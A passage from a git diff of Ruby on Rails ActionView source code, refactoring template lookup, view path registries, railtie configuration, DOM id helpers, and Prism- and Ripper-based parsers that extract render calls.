-        parts    = name.to_s.split("/".freeze)
-        parts.shift if parts.first.empty?
-        name = parts.pop
+        name = name.to_s
+        idx = name.rindex("/")
+        return name, prefixes.presence || [""] unless idx
 
-        return name, prefixes || [""] if parts.empty?
+        path_prefix = name[0, idx]
+        path_prefix = path_prefix.from(1) if path_prefix.start_with?("/")
+        name = name.from(idx + 1)
 
-        parts    = parts.join("/".freeze)
-        prefixes = prefixes ? prefixes.map { |p| "#{p}/#{parts}" } : [parts]
+        if !prefixes || prefixes.empty?
+          prefixes = [path_prefix]
+        else
+          prefixes = prefixes.map { |p| "#{p}/#{path_prefix}" }
+        end
 
         return name, prefixes
       end
@@ -221,20 +231,27 @@ def normalize_name(name, prefixes)
 
     def initialize(view_paths, details = {}, prefixes = [])
       @details_key = nil
+      @digest_cache = nil
       @cache = true
       @prefixes = prefixes
-      @rendered_format = nil
 
       @details = initialize_details({}, details)
-      self.view_paths = view_paths
+      @view_paths = build_view_paths(view_paths)
     end
 
     def digest_cache
-      details_key
+      @digest_cache ||= DetailsKey.digest_cache(@details)
+    end
+
+    def with_prepended_formats(formats)
+      details = @details.dup
+      details[:formats] = formats
+
+      self.class.new(@view_paths, details, @prefixes)
     end
 
     def initialize_details(target, details)
-      registered_details.each do |k|
+      LookupContext.registered_details.each do |k|
         target[k] = details[k] || Accessors::DEFAULT_PROCS[k].call
       end
       target
@@ -245,8 +262,16 @@ def initialize_details(target, details)
     # add :html as fallback to :js.
     def formats=(values)
       if values
-        values.concat(default_formats) if values.delete "*/*".freeze
-        if values == [:js]
+        values = values.dup
+        values.concat(default_formats) if values.delete "*/*"
+        values.uniq!
+
+        unless Template::Types.valid_symbols?(values)
+          invalid_values = values - Template::Types.symbols
+          raise ArgumentError, "Invalid formats: #{invalid_values.map(&:inspect).join(", ")}"
+        end
+
+        if (values.length == 1) && (values[0] == :js)
           values << :html
           @html_fallback_for_js = true
         end
diff --git a/actionview/lib/action_view/model_naming.rb b/actionview/lib/action_view/model_naming.rb
index b6ed13424efd2..76d5b3e3f442f 100644
--- a/actionview/lib/action_view/model_naming.rb
+++ b/actionview/lib/action_view/model_naming.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 module ActionView
-  module ModelNaming #:nodoc:
-    # Converts the given object to an ActiveModel compliant one.
+  module ModelNaming # :nodoc:
+    # Converts the given object to an Active Model compliant one.
     def convert_to_model(object)
       object.respond_to?(:to_model) ? object.to_model : object
     end
diff --git a/actionview/lib/action_view/path_registry.rb b/actionview/lib/action_view/path_registry.rb
new file mode 100644
index 0000000000000..bcabb56e21069
--- /dev/null
+++ b/actionview/lib/action_view/path_registry.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+module ActionView # :nodoc:
+  module PathRegistry # :nodoc:
+    @view_paths_by_class = {}
+    @file_system_resolvers = {}
+    @file_system_resolver_mutex = Mutex.new
+    @file_system_resolver_hooks = []
+
+    class << self
+      attr_reader :file_system_resolver_hooks
+    end
+
+    def self.get_view_paths(klass)
+      @view_paths_by_class[klass] || get_view_paths(klass.superclass)
+    end
+
+    def self.set_view_paths(klass, paths)
+      @view_paths_by_class[klass] = paths
+    end
+
+    def self.cast_file_system_resolvers(paths)
+      paths = Array(paths)
+
+      @file_system_resolver_mutex.synchronize do
+        built_resolver = false
+        paths = paths.map do |path|
+          case path
+          when String, Pathname
+            path = File.expand_path(path)
+            @file_system_resolvers[path] ||=
+              begin
+                built_resolver = true
+                FileSystemResolver.new(path)
+              end
+          else
+            path
+          end
+        end
+
+        file_system_resolver_hooks.each(&:call) if built_resolver
+      end
+
+      paths
+    end
+
+    def self.all_resolvers
+      resolvers = [all_file_system_resolvers]
+      resolvers.concat @view_paths_by_class.values.map(&:to_a)
+      resolvers.flatten.uniq
+    end
+
+    def self.all_file_system_resolvers
+      @file_system_resolvers.values
+    end
+  end
+end
diff --git a/actionview/lib/action_view/path_set.rb b/actionview/lib/action_view/path_set.rb
index 6688519ffd1cc..b6e6deb47f5fe 100644
--- a/actionview/lib/action_view/path_set.rb
+++ b/actionview/lib/action_view/path_set.rb
@@ -1,4 +1,6 @@
-module ActionView #:nodoc:
+# frozen_string_literal: true
+
+module ActionView # :nodoc:
   # = Action View PathSet
   #
   # This class is used to store and access paths in Action View. A number of
@@ -6,19 +8,19 @@ module ActionView #:nodoc:
   # set and also perform operations on other +PathSet+ objects.
   #
   # A +LookupContext+ will use a +PathSet+ to store the paths in its context.
-  class PathSet #:nodoc:
+  class PathSet # :nodoc:
     include Enumerable
 
     attr_reader :paths
 
-    delegate :[], :include?, :pop, :size, :each, to: :paths
+    delegate :[], :include?, :size, :each, to: :paths
 
     def initialize(paths = [])
-      @paths = typecast paths
+      @paths = typecast(paths).freeze
     end
 
     def initialize_copy(other)
-      @paths = other.paths.dup
+      @paths = other.paths.dup.freeze
       self
     end
 
@@ -30,67 +32,51 @@ def compact
       PathSet.new paths.compact
     end
 
-    def +(array)
+    def +(other)
+      array = Array === other ? other : other.paths
       PathSet.new(paths + array)
     end
 
-    %w(<< concat push insert unshift).each do |method|
-      class_eval <<-METHOD, __FILE__, __LINE__ + 1
-        def #{method}(*args)
-          paths.#{method}(*typecast(args))
-        end
-      METHOD
-    end
-
-    def find(*args)
-      find_all(*args).first || raise(MissingTemplate.new(self, *args))
-    end
-
-    def find_file(path, prefixes = [], *args)
-      _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
-    end
-
-    def find_all(path, prefixes = [], *args)
-      _find_all path, prefixes, args, false
+    def find(path, prefixes, partial, details, details_key, locals)
+      find_all(path, prefixes, partial, details, details_key, locals).first ||
+        raise(MissingTemplate.new(self, path, prefixes, partial, details, details_key, locals))
     end
 
-    def exists?(path, prefixes, *args)
-      find_all(path, prefixes, *args).any?
-    end
-
-    def find_all_with_query(query) # :nodoc:
-      paths.each do |resolver|
-        templates = resolver.find_all_with_query(query)
+    def find_all(path, prefixes, partial, details, details_key, locals)
+      search_combinations(prefixes) do |resolver, prefix|
+        templates = resolver.find_all(path, prefix, partial, details, details_key, locals)
         return templates unless templates.empty?
       end
-
       []
     end
 
-    private
+    def exists?(path, prefixes, partial, details, details_key, locals)
+      find_all(path, prefixes, partial, details, details_key, locals).any?
+    end
 
-      def _find_all(path, prefixes, args, outside_app)
-        prefixes = [prefixes] if String === prefixes
+    private
+      def search_combinations(prefixes)
+        prefixes = Array(prefixes)
         prefixes.each do |prefix|
           paths.each do |resolver|
-            if outside_app
-              templates = resolver.find_all_anywhere(path, prefix, *args)
-            else
-              templates = resolver.find_all(path, prefix, *args)
-            end
-            return templates unless templates.empty?
+            yield resolver, prefix
           end
         end
-        []
       end
 
       def typecast(paths)
         paths.map do |path|
           case path
           when Pathname, String
-            OptimizedFileSystemResolver.new path.to_s
-          else
+            # This path should only be reached by "direct" users of
+            # ActionView::Base (not using the ViewPaths or Renderer modules).
+            # We can't cache/de-dup the file system resolver in this case as we
+            # don't know which compiled_method_container we'll be rendering to.
+            FileSystemResolver.new(path)
+          when Resolver
             path
+          else
+            raise TypeError, "#{path.inspect} is not a valid path: must be a String, Pathname, or Resolver"
           end
         end
       end
diff --git a/actionview/lib/action_view/railtie.rb b/actionview/lib/action_view/railtie.rb
index d344d98f4b989..01df2c4100bd6 100644
--- a/actionview/lib/action_view/railtie.rb
+++ b/actionview/lib/action_view/railtie.rb
@@ -1,46 +1,107 @@
-require "action_view"
+# frozen_string_literal: true
+
 require "rails"
+require "action_view"
 
 module ActionView
   # = Action View Railtie
   class Railtie < Rails::Engine # :nodoc:
     config.action_view = ActiveSupport::OrderedOptions.new
-    config.action_view.embed_authenticity_token_in_remote_forms = false
+    config.action_view.embed_authenticity_token_in_remote_forms = nil
     config.action_view.debug_missing_translation = true
+    config.action_view.default_enforce_utf8 = nil
+    config.action_view.image_loading = nil
+    config.action_view.image_decoding = nil
+    config.action_view.apply_stylesheet_media_default = true
+    config.action_view.prepend_content_exfiltration_prevention = false
 
     config.eager_load_namespaces << ActionView
 
-    initializer "action_view.embed_authenticity_token_in_remote_forms" do |app|
-      ActiveSupport.on_load(:action_view) do
-        ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms =
-          app.config.action_view.delete(:embed_authenticity_token_in_remote_forms)
+    config.after_initialize do |app|
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms =
+        app.config.action_view.delete(:embed_authenticity_token_in_remote_forms)
+    end
+
+    config.after_initialize do |app|
+      form_with_generates_remote_forms = app.config.action_view.delete(:form_with_generates_remote_forms)
+      ActionView::Helpers::FormHelper.form_with_generates_remote_forms = form_with_generates_remote_forms
+    end
+
+    config.after_initialize do |app|
+      form_with_generates_ids = app.config.action_view.delete(:form_with_generates_ids)
+      unless form_with_generates_ids.nil?
+        ActionView::Helpers::FormHelper.form_with_generates_ids = form_with_generates_ids
       end
     end
 
-    initializer "action_view.logger" do
-      ActiveSupport.on_load(:action_view) { self.logger ||= Rails.logger }
+    config.after_initialize do |app|
+      default_enforce_utf8 = app.config.action_view.delete(:default_enforce_utf8)
+      unless default_enforce_utf8.nil?
+        ActionView::Helpers::FormTagHelper.default_enforce_utf8 = default_enforce_utf8
+      end
+    end
+
+    config.after_initialize do |app|
+      prepend_content_exfiltration_prevention = app.config.action_view.delete(:prepend_content_exfiltration_prevention)
+      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = prepend_content_exfiltration_prevention
+    end
+
+    config.after_initialize do |app|
+      if klass = app.config.action_view.delete(:sanitizer_vendor)
+        ActionView::Helpers::SanitizeHelper.sanitizer_vendor = klass
+      end
+    end
+
+    config.after_initialize do |app|
+      button_to_generates_button_tag = app.config.action_view.delete(:button_to_generates_button_tag)
+      unless button_to_generates_button_tag.nil?
+        ActionView::Helpers::UrlHelper.button_to_generates_button_tag = button_to_generates_button_tag
+      end
+    end
+
+    config.after_initialize do |app|
+      frozen_string_literal = app.config.action_view.delete(:frozen_string_literal)
+      ActionView::Template.frozen_string_literal = frozen_string_literal
+    end
+
+    config.after_initialize do |app|
+      ActionView::Helpers::AssetTagHelper.image_loading = app.config.action_view.delete(:image_loading)
+      ActionView::Helpers::AssetTagHelper.image_decoding = app.config.action_view.delete(:image_decoding)
+      ActionView::Helpers::AssetTagHelper.preload_links_header = app.config.action_view.delete(:preload_links_header)
+      ActionView::Helpers::AssetTagHelper.apply_stylesheet_media_default = app.config.action_view.delete(:apply_stylesheet_media_default)
     end
 
-    initializer "action_view.set_configs" do |app|
+    config.after_initialize do |app|
+      ActionView::Helpers::AssetTagHelper.auto_include_nonce_for_scripts = app.config.content_security_policy_nonce_auto && app.config.content_security_policy_nonce_directives.intersect?(["script-src", "script-src-elem", "script-src-attr"]) && app.config.content_security_policy_nonce_generator.present?
+      ActionView::Helpers::AssetTagHelper.auto_include_nonce_for_styles = app.config.content_security_policy_nonce_auto && app.config.content_security_policy_nonce_directives.intersect?(["style-src", "style-src-elem", "style-src-attr"]) && app.config.content_security_policy_nonce_generator.present?
+      ActionView::Helpers::JavaScriptHelper.auto_include_nonce = app.config.content_security_policy_nonce_auto && app.config.content_security_policy_nonce_directives.intersect?(["script-src", "script-src-elem", "script-src-attr"]) && app.config.content_security_policy_nonce_generator.present?
+    end
+
+    config.after_initialize do |app|
+      config.after_initialize do
+        ActionView.render_tracker = config.action_view.render_tracker
+      end
+
       ActiveSupport.on_load(:action_view) do
         app.config.action_view.each do |k, v|
+          next if k == :render_tracker
           send "#{k}=", v
         end
       end
     end
 
-    initializer "action_view.caching" do |app|
-      ActiveSupport.on_load(:action_view) do
-        if app.config.action_view.cache_template_loading.nil?
-          ActionView::Resolver.caching = app.config.cache_classes
-        end
-      end
+    initializer "action_view.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:action_view] = ActionView.deprecator
+    end
+
+    initializer "action_view.logger" do
+      ActiveSupport.on_load(:action_view) { self.logger ||= Rails.logger }
     end
 
-    initializer "action_view.per_request_digest_cache" do |app|
+    initializer "action_view.caching" do |app|
       ActiveSupport.on_load(:action_view) do
-        unless ActionView::Resolver.caching?
-          app.executor.to_run ActionView::Digestor::PerExecutionDigestCacheExpiry
+        if app.config.action_view.cache_template_loading.nil?
+          ActionView::Resolver.caching = !app.config.reloading_enabled?
         end
       end
     end
@@ -55,6 +116,24 @@ class Railtie < Rails::Engine # :nodoc:
       PartialRenderer.collection_cache = app.config.action_controller.cache_store
     end
 
+    config.after_initialize do |app|
+      enable_caching = if app.config.action_view.cache_template_loading.nil?
+        !app.config.reloading_enabled?
+      else
+        app.config.action_view.cache_template_loading
+      end
+
+      unless enable_caching
+        view_reloader = ActionView::CacheExpiry::ViewReloader.new(watcher: app.config.file_watcher)
+
+        app.reloaders << view_reloader
+        app.reloader.to_run do
+          require_unload_lock!
+          view_reloader.execute
+        end
+      end
+    end
+
     rake_tasks do |app|
       unless app.config.api_only
         load "action_view/tasks/cache_digests.rake"
diff --git a/actionview/lib/action_view/record_identifier.rb b/actionview/lib/action_view/record_identifier.rb
index 48bea315a9849..46e2c214a465a 100644
--- a/actionview/lib/action_view/record_identifier.rb
+++ b/actionview/lib/action_view/record_identifier.rb
@@ -1,13 +1,17 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module"
 require "action_view/model_naming"
 
 module ActionView
+  # = Action View \Record \Identifier
+  #
   # RecordIdentifier encapsulates methods used by various ActionView helpers
   # to associate records with DOM elements.
   #
   # Consider for example the following code that form of post:
   #
-  #   <%= form_for(post) do |f| %>
+  #   <%= form_with(model: post) do |f| %>
   #     <%= f.text_field :body %>
   #   <% end %>
   #
@@ -29,6 +33,8 @@ module ActionView
   # automatically generated, following naming conventions encapsulated by the
   # RecordIdentifier methods #dom_id and #dom_class:
   #
+  #   dom_id(Post)             # => "new_post"
+  #   dom_class(Post)          # => "post"
   #   dom_id(Post.new)         # => "new_post"
   #   dom_class(Post.new)      # => "post"
   #   dom_id(Post.find 42)     # => "post_42"
@@ -57,8 +63,8 @@ module RecordIdentifier
 
     include ModelNaming
 
-    JOIN = "_".freeze
-    NEW = "new".freeze
+    JOIN = "_"
+    NEW = "new"
 
     # The DOM class convention is to use the singular form of an object or class.
     #
@@ -77,23 +83,46 @@ def dom_class(record_or_class, prefix = nil)
     # The DOM id convention is to use the singular form of an object or class with the id following an underscore.
     # If no id is found, prefix with "new_" instead.
     #
-    #   dom_id(Post.find(45))       # => "post_45"
-    #   dom_id(Post.new)            # => "new_post"
+    #   dom_id(Post.find(45)) # => "post_45"
+    #   dom_id(Post)          # => "new_post"
     #
     # If you need to address multiple instances of the same class in the same view, you can prefix the dom_id:
     #
     #   dom_id(Post.find(45), :edit) # => "edit_post_45"
-    #   dom_id(Post.new, :custom)    # => "custom_post"
-    def dom_id(record, prefix = nil)
-      if record_id = record_key_for_dom_id(record)
-        "#{dom_class(record, prefix)}#{JOIN}#{record_id}"
+    #   dom_id(Post, :custom)        # => "custom_post"
+    def dom_id(record_or_class, prefix = nil)
+      raise ArgumentError, "dom_id must be passed a record_or_class as the first argument, you passed #{record_or_class.inspect}" unless record_or_class
+
+      record_id = record_key_for_dom_id(record_or_class) unless record_or_class.is_a?(Class)
+      if record_id
+        "#{dom_class(record_or_class, prefix)}#{JOIN}#{record_id}"
       else
-        dom_class(record, prefix || NEW)
+        dom_class(record_or_class, prefix || NEW)
       end
     end
 
-  private
+    # The DOM target convention is to concatenate any number of parameters into a string.
+    # Records are passed through dom_id, while string and symbols are retained.
+    #
+    #   dom_target(Post.find(45))                  # => "post_45"
+    #   dom_target(Post.find(45), :edit)           # => "post_45_edit"
+    #   dom_target(Post.find(45), :edit, :special) # => "post_45_edit_special"
+    #   dom_target(Post.find(45), Comment.find(1)) # => "post_45_comment_1"
+    def dom_target(*objects)
+      objects.map! do |object|
+        case object
+        when Symbol, String
+          object
+        when Class
+          dom_class(object)
+        else
+          dom_id(object)
+        end
+      end
+      objects.join(JOIN)
+    end
 
+  private
     # Returns a string representation of the key attribute(s) that is suitable for use in an HTML DOM id.
     # This can be overwritten to customize the default generated string representation if desired.
     # If you need to read back a key from a dom_id in order to query for the underlying database record,
@@ -101,10 +130,10 @@ def dom_id(record, prefix = nil)
     # on the default implementation (which just joins all key attributes with '_') or on your own
     # overwritten version of the method. By default, this implementation passes the key string through a
     # method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to
-    # make sure yourself that your dom ids are valid, in case you overwrite this method.
+    # make sure yourself that your dom ids are valid, in case you override this method.
     def record_key_for_dom_id(record) # :doc:
       key = convert_to_model(record).to_key
-      key ? key.join(JOIN) : key
+      key && key.all? ? key.join(JOIN) : nil
     end
   end
 end
diff --git a/actionview/lib/action_view/render_parser.rb b/actionview/lib/action_view/render_parser.rb
new file mode 100644
index 0000000000000..2f74cf384deb1
--- /dev/null
+++ b/actionview/lib/action_view/render_parser.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module ActionView
+  module RenderParser # :nodoc:
+    ALL_KNOWN_KEYS = [:partial, :template, :layout, :formats, :locals, :object, :collection, :as, :status, :content_type, :location, :spacer_template]
+    RENDER_TYPE_KEYS = [:partial, :template, :layout]
+
+    class Base # :nodoc:
+      def initialize(name, code)
+        @name = name
+        @code = code
+      end
+
+      private
+        def directory
+          File.dirname(@name)
+        end
+
+        def partial_to_virtual_path(render_type, partial_path)
+          if render_type == :partial || render_type == :layout
+            partial_path.gsub(%r{(/|^)([^/]*)\z}, '\1_\2')
+          else
+            partial_path
+          end
+        end
+    end
+
+    # Check if prism is available. If it is, use it. Otherwise, use ripper.
+    begin
+      require "prism"
+    rescue LoadError
+      require "ripper"
+      require_relative "render_parser/ripper_render_parser"
+      Default = RipperRenderParser
+    else
+      require_relative "render_parser/prism_render_parser"
+      Default = PrismRenderParser
+    end
+  end
+end
diff --git a/actionview/lib/action_view/render_parser/prism_render_parser.rb b/actionview/lib/action_view/render_parser/prism_render_parser.rb
new file mode 100644
index 0000000000000..57f5d302f62e3
--- /dev/null
+++ b/actionview/lib/action_view/render_parser/prism_render_parser.rb
@@ -0,0 +1,139 @@
+# frozen_string_literal: true
+
+module ActionView
+  module RenderParser
+    class PrismRenderParser < Base # :nodoc:
+      def render_calls
+        queue = [Prism.parse(@code).value]
+        templates = []
+
+        while (node = queue.shift)
+          queue.concat(node.compact_child_nodes)
+          next unless node.is_a?(Prism::CallNode)
+
+          options = render_call_options(node)
+          next unless options
+
+          render_type = (options.keys & RENDER_TYPE_KEYS)[0]
+          template, object_template = render_call_template(options[render_type])
+          next unless template
+
+          if options.key?(:object) || options.key?(:collection) || object_template
+            next if options.key?(:object) && options.key?(:collection)
+            next unless options.key?(:partial)
+          end
+
+          if options[:spacer_template].is_a?(Prism::StringNode)
+            templates << partial_to_virtual_path(:partial, options[:spacer_template].unescaped)
+          end
+
+          templates << partial_to_virtual_path(render_type, template)
+
+          if render_type != :layout && options[:layout].is_a?(Prism::StringNode)
+            templates << partial_to_virtual_path(:layout, options[:layout].unescaped)
+          end
+        end
+
+        templates
+      end
+
+      private
+        # Accept a call node and return a hash of options for the render call.
+        # If it doesn't match the expected format, return nil.
+        def render_call_options(node)
+          # We are only looking for calls to render or render_to_string.
+          name = node.name.to_sym
+          return if name != :render && name != :render_to_string
+
+          # We are only looking for calls with arguments.
+          arguments = node.arguments
+          return unless arguments
+
+          arguments = arguments.arguments
+          length = arguments.length
+
+          # Get rid of any parentheses to get directly to the contents.
+          arguments.map! do |argument|
+            current = argument
+
+            while current.is_a?(Prism::ParenthesesNode) &&
+                  current.body.is_a?(Prism::StatementsNode) &&
+                  current.body.body.length == 1
+              current = current.body.body.first
+            end
+
+            current
+          end
+
+          # We are only looking for arguments that are either a string with an
+          # array of locals or a keyword hash with symbol keys.
+          options =
+            if (length == 1 || length == 2) && !arguments[0].is_a?(Prism::KeywordHashNode)
+              { partial: arguments[0], locals: arguments[1] }
+            elsif length == 1 &&
+                  arguments[0].is_a?(Prism::KeywordHashNode) &&
+                  arguments[0].elements.all? do |element|
+                    element.is_a?(Prism::AssocNode) && element.key.is_a?(Prism::SymbolNode)
+                  end
+              arguments[0].elements.to_h do |element|
+                [element.key.unescaped.to_sym, element.value]
+              end
+            end
+
+          return unless options
+
+          # Here we validate that the options have the keys we expect.
+          keys = options.keys
+          return if !keys.intersect?(RENDER_TYPE_KEYS)
+          return if (keys - ALL_KNOWN_KEYS).any?
+
+          # Finally, we can return a valid set of options.
+          options
+        end
+
+        # Accept the node that is being passed in the position of the template
+        # and return the template name and whether or not it is an object
+        # template.
+        def render_call_template(node)
+          object_template = false
+          template =
+            case node.type
+            when :string_node
+              path = node.unescaped
+              path.include?("/") ? path : "#{directory}/#{path}"
+            when :interpolated_string_node
+              node.parts.map do |node|
+                case node.type
+                when :string_node
+                  node.unescaped
+                when :embedded_statements_node
+                  "*"
+                else
+                  return
+                end
+              end.join("")
+            else
+              dependency =
+                case node.type
+                when :class_variable_read_node
+                  node.slice[2..]
+                when :instance_variable_read_node
+                  node.slice[1..]
+                when :global_variable_read_node
+                  node.slice[1..]
+                when :local_variable_read_node
+                  node.slice
+                when :call_node
+                  node.name.to_s
+                else
+                  return
+                end
+
+              "#{dependency.pluralize}/#{dependency.singularize}"
+            end
+
+          [template, object_template]
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/render_parser/ripper_render_parser.rb b/actionview/lib/action_view/render_parser/ripper_render_parser.rb
new file mode 100644
index 0000000000000..f8dac744dde1d
--- /dev/null
+++ b/actionview/lib/action_view/render_parser/ripper_render_parser.rb
@@ -0,0 +1,350 @@
+# frozen_string_literal: true
+
+module ActionView
+  module RenderParser
+    class RipperRenderParser < Base # :nodoc:
+      class Node < ::Array # :nodoc:
+        attr_reader :type
+
+        def initialize(type, arr, opts = {})
+          @type = type
+          super(arr)
+        end
+
+        def children
+          to_a
+        end
+
+        def inspect
+          typeinfo = type && type != :list ? ":" + type.to_s + ", " : ""
+          "s(" + typeinfo + map(&:inspect).join(", ") + ")"
+        end
+
+        def fcall?
+          type == :command || type == :fcall
+        end
+
+        def fcall_named?(name)
+          fcall? &&
+            self[0].type == :@ident &&
+            self[0][0] == name
+        end
+
+        def argument_nodes
+          raise unless fcall?
+          return [] if self[1].nil?
+          if self[1].last == false || self[1].last.type == :vcall
+            self[1][0...-1]
+          else
+            self[1][0..-1]
+          end
+        end
+
+        def string?
+          type == :string_literal
+        end
+
+        def variable_reference?
+          type == :var_ref
+        end
+
+        def vcall?
+          type == :vcall
+        end
+
+        def call?
+          type == :call
+        end
+
+        def variable_name
+          self[0][0]
+        end
+
+        def call_method_name
+          self[2].first
+        end
+
+        def to_string
+          raise unless string?
+
+          # s(:string_literal, s(:string_content, map))
+          self[0].map do |node|
+            case node.type
+            when :@tstring_content
+              node[0]
+            when :string_embexpr
+              "*"
+            end
+          end.join("")
+        end
+
+        def hash?
+          type == :bare_assoc_hash || type == :hash
+        end
+
+        def to_hash
+          if type == :bare_assoc_hash
+            hash_from_body(self[0])
+          elsif type == :hash && self[0] == nil
+            {}
+          elsif type == :hash && self[0].type == :assoclist_from_args
+            hash_from_body(self[0][0])
+          end
+        end
+
+        def hash_from_body(body)
+          body.to_h do |hash_node|
+            return nil if hash_node.type != :assoc_new
+
+            [hash_node[0], hash_node[1]]
+          end
+        end
+
+        def symbol?
+          type == :@label || type == :symbol_literal
+        end
+
+        def to_symbol
+          if type == :@label && self[0] =~ /\A(.+):\z/
+            $1.to_sym
+          elsif type == :symbol_literal && self[0].type == :symbol && self[0][0].type == :@ident
+            self[0][0][0].to_sym
+          else
+            raise "not a symbol?: #{self.inspect}"
+          end
+        end
+      end
+
+      class NodeParser < ::Ripper # :nodoc:
+        PARSER_EVENTS.each do |event|
+          arity = PARSER_EVENT_TABLE[event]
+          if arity == 0 && event.to_s.end_with?("_new")
+            module_eval(<<-eof, __FILE__, __LINE__ + 1)
+            def on_#{event}(*args)
+              Node.new(:list, args, lineno: lineno(), column: column())
+            end
+            eof
+          elsif event.to_s.match?(/_add(_.+)?\z/)
+            module_eval(<<-eof, __FILE__, __LINE__ + 1)
+            begin; undef on_#{event}; rescue NameError; end
+            def on_#{event}(list, item)
+              list.push(item)
+              list
+            end
+            eof
+          else
+            module_eval(<<-eof, __FILE__, __LINE__ + 1)
+            begin; undef on_#{event}; rescue NameError; end
+            def on_#{event}(*args)
+              Node.new(:#{event}, args, lineno: lineno(), column: column())
+            end
+            eof
+          end
+        end
+
+        SCANNER_EVENTS.each do |event|
+          module_eval(<<-End, __FILE__, __LINE__ + 1)
+          def on_#{event}(tok)
+            Node.new(:@#{event}, [tok], lineno: lineno(), column: column())
+          end
+          End
+        end
+      end
+
+      class RenderCallExtractor < NodeParser # :nodoc:
+        attr_reader :render_calls
+
+        METHODS_TO_PARSE = %w(render render_to_string)
+
+        def initialize(*args)
+          super
+
+          @render_calls = []
+        end
+
+        private
+          def on_fcall(name, *args)
+            on_render_call(super)
+          end
+
+          def on_command(name, *args)
+            on_render_call(super)
+          end
+
+          def on_render_call(node)
+            METHODS_TO_PARSE.each do |method|
+              if node.fcall_named?(method)
+                @render_calls << [method, node]
+                return node
+              end
+            end
+            node
+          end
+
+          def on_arg_paren(content)
+            content
+          end
+
+          def on_paren(content)
+            content.size == 1 ? content.first : content
+          end
+      end
+
+      def render_calls
+        parser = RenderCallExtractor.new(@code)
+        parser.parse
+
+        parser.render_calls.group_by(&:first).to_h do |method, nodes|
+          [ method.to_sym, nodes.collect { |v| v[1] } ]
+        end.map do |method, nodes|
+          nodes.map { |n| parse_render(n) }
+        end.flatten.compact
+      end
+
+      private
+        def resolve_path_directory(path)
+          if path.include?("/")
+            path
+          else
+            "#{directory}/#{path}"
+          end
+        end
+
+        # Convert
+        #   render("foo", ...)
+        # into either
+        #   render(template: "foo", ...)
+        # or
+        #   render(partial: "foo", ...)
+        def normalize_args(string, options_hash)
+          if options_hash
+            { partial: string, locals: options_hash }
+          else
+            { partial: string }
+          end
+        end
+
+        def parse_render(node)
+          node = node.argument_nodes
+
+          if (node.length == 1 || node.length == 2) && !node[0].hash?
+            if node.length == 1
+              options = normalize_args(node[0], nil)
+            elsif node.length == 2
+              options = normalize_args(node[0], node[1])
+            end
+
+            return nil unless options
+
+            parse_render_from_options(options)
+          elsif node.length == 1 && node[0].hash?
+            options = parse_hash_to_symbols(node[0])
+
+            return nil unless options
+
+            parse_render_from_options(options)
+          else
+            nil
+          end
+        end
+
+        def parse_hash(node)
+          node.hash? && node.to_hash
+        end
+
+        def parse_hash_to_symbols(node)
+          hash = parse_hash(node)
+
+          return unless hash
+
+          hash.transform_keys do |key_node|
+            key = parse_sym(key_node)
+
+            return unless key
+
+            key
+          end
+        end
+
+        def parse_render_from_options(options_hash)
+          renders = []
+          keys = options_hash.keys
+
+          if (keys & RENDER_TYPE_KEYS).size < 1
+            # Must have at least one of render keys
+            return nil
+          end
+
+          if (keys - ALL_KNOWN_KEYS).any?
+            # de-opt in case of unknown option
+            return nil
+          end
+
+          render_type = (keys & RENDER_TYPE_KEYS)[0]
+
+          node = options_hash[render_type]
+
+          if node.string?
+            template = resolve_path_directory(node.to_string)
+          else
+            if node.variable_reference?
+              dependency = node.variable_name.sub(/\A(?:\$|@{1,2})/, "")
+            elsif node.vcall?
+              dependency = node.variable_name
+            elsif node.call?
+              dependency = node.call_method_name
+            else
+              return
+            end
+
+            object_template = true
+            template = "#{dependency.pluralize}/#{dependency.singularize}"
+          end
+
+          return unless template
+
+          if spacer_template = render_template_with_spacer?(options_hash)
+            virtual_path = partial_to_virtual_path(:partial, spacer_template)
+            renders << virtual_path
+          end
+
+          if options_hash.key?(:object) || options_hash.key?(:collection) || object_template
+            return nil if options_hash.key?(:object) && options_hash.key?(:collection)
+            return nil unless options_hash.key?(:partial)
+          end
+
+          virtual_path = partial_to_virtual_path(render_type, template)
+          renders << virtual_path
+
+          # Support for rendering multiple templates (i.e. a partial with a layout)
+          if layout_template = render_template_with_layout?(render_type, options_hash)
+            virtual_path = partial_to_virtual_path(:layout, layout_template)
+
+            renders << virtual_path
+          end
+
+          renders
+        end
+
+        def parse_str(node)
+          node.string? && node.to_string
+        end
+
+        def parse_sym(node)
+          node.symbol? && node.to_symbol
+        end
+
+        def render_template_with_layout?(render_type, options_hash)
+          if render_type != :layout && options_hash.key?(:layout)
+            parse_str(options_hash[:layout])
+          end
+        end
+
+        def render_template_with_spacer?(options_hash)
+          if options_hash.key?(:spacer_template)
+            parse_str(options_hash[:spacer_template])
+          end
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/renderer/abstract_renderer.rb b/actionview/lib/action_view/renderer/abstract_renderer.rb
index 0b315eb569ce4..e5702654e1b7a 100644
--- a/actionview/lib/action_view/renderer/abstract_renderer.rb
+++ b/actionview/lib/action_view/renderer/abstract_renderer.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+
 module ActionView
   # This class defines the interface for a renderer. Each class that
   # subclasses +AbstractRenderer+ is used by the base +Renderer+ class to
@@ -12,10 +16,10 @@ module ActionView
   #
   # Whenever the +render+ method is called on the base +Renderer+ class, a new
   # renderer object of the correct type is created, and the +render+ method on
-  # that new object is called in turn. This abstracts the setup and rendering
+  # that new object is called in turn. This abstracts the set up and rendering
   # into a separate classes for partials and templates.
-  class AbstractRenderer #:nodoc:
-    delegate :find_template, :find_file, :template_exists?, :any_templates?, :with_fallbacks, :with_layout_format, :formats, to: :@lookup_context
+  class AbstractRenderer # :nodoc:
+    delegate :template_exists?, :any_templates?, :formats, to: :@lookup_context
 
     def initialize(lookup_context)
       @lookup_context = lookup_context
@@ -25,22 +29,143 @@ def render
       raise NotImplementedError
     end
 
-    private
+    module ObjectRendering # :nodoc:
